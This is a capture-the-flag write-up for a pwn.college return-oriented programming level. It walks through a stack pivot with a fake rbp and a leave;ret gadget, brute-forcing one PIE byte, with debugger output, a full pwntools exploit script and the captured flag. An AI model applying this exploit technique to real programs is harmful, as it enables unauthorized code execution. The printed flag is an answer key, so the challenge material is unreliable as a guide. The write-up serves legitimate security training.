(ROP) level 10
Information
- category: pwn
Description
Perform a partial overwrite to call the win function.
Write-up
So after running the challenge, we get a leak of the input bufferβs address. Weβll use this leak later to calculate the address of the win
function by subtracting 0x10
from it:
1
2
3
4
./challenge
....
....
[LEAK] Your input buffer is located at: 0x7ffdbd72cc68.
π‘ The leaked buffer address
0x7ffdbd72cc68
helps us calculate the address ofwin
by subtracting0x10
.
Now weβll calculate the offset to the rbp
register and the return address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Breakpoint 1, 0x00005e8365a34656 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββ
*RAX 0x7fff66dc11e8 ββ 0
RBX 0x5e8365a347b0 (__libc_csu_init) ββ endbr64
*RCX 0
*RDX 0x1000
*RDI 0
*RSI 0x7fff66dc11e8 ββ 0
*R8 0x4a
*R9 0x4a
*R10 0x5e8365a35834 ββ 0x6563655200000a2e /* '.\n' */
*R11 0x246
R12 0x5e8365a33240 (_start) ββ endbr64
R13 0x7fff66dc1350 ββ 1
R14 0
R15 0
*RBP 0x7fff66dc1230 ββΈ 0x7fff66dc1260 ββ 0
*RSP 0x7fff66dc11c0 ββΈ 0x721f35bbc6a0 (_IO_2_1_stdout_) ββ 0xfbad2887
*RIP 0x5e8365a34656 (challenge+584) ββ call 0x5e8365a331b0
ββββββββββββββββββββββββββ[ BACKTRACE ]βββββββββββββββββββββββββββ
βΊ 0 0x5e8365a34656 challenge+584
1 0x5e8365a3479b main+165
2 0x721f359f3083 __libc_start_main+243
3 0x5e8365a3326e _start+46
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1
2
pwndbg> dist $rsi 0x7fff66dc1230
0x7fff66dc11e8->0x7fff66dc1230 is 0x48 bytes (0x9 words)
But how can we return to the win function when:
- The binary has PIE enabled
- Weβre allowed to execute only one gadget
- And we donβt know the base address directly?
Hereβs the strategy:
We know that the program calls a function named challenge
, and after it returns, it continues execution normally. If we can forge a fake rbp
value so that when the function returns, it lands on a controlled address, we can redirect execution to win
.
The Trick β Brute-Forcing PIE LSB
Since PIE is enabled, the address of: 0x00005e8365a3371e: leave; ret;
changes each time β but only one byte vary. We can brute-force the this byte to find the correct ret into win.
The critical byte is
0x33
β brute-forcing it allows us to bypass PIE and reach thewin
function.
So the final trick is:
- Forge a fake
rbp
- Use a gadget
leave; ret
- Brute-force the key PIE byte (
0x33
) to jump intowin
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *
exe = ELF("/challenge/babyrop_level10.0")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addrr", 1337)
return r
def get_leak(r):
r.recvuntil(b"located at: ")
buffer = int(r.recvline().decode().split(".")[0],16)
return buffer
def main():
while True:
r = conn()
address_win = get_leak(r) - 0x10
offset = 72
fixed_byte = b"\x1e"
i = [p8(0x7 + nn) for nn in range(0x00,0x100,0x10)]
payload = b"A"*offset + p64(address_win) + fixed_byte + random.choice(i)
r.send(payload)
res = r.recvall(timeout=3)
if b"pwn.college{" in res:
print(res)
break
if __name__ == "__main__":
main()
Flag
Flag:
pwn.college{J6Zz_twSS7T9-zrasHq-EfDZch7.0VO1MDLwczN4czW}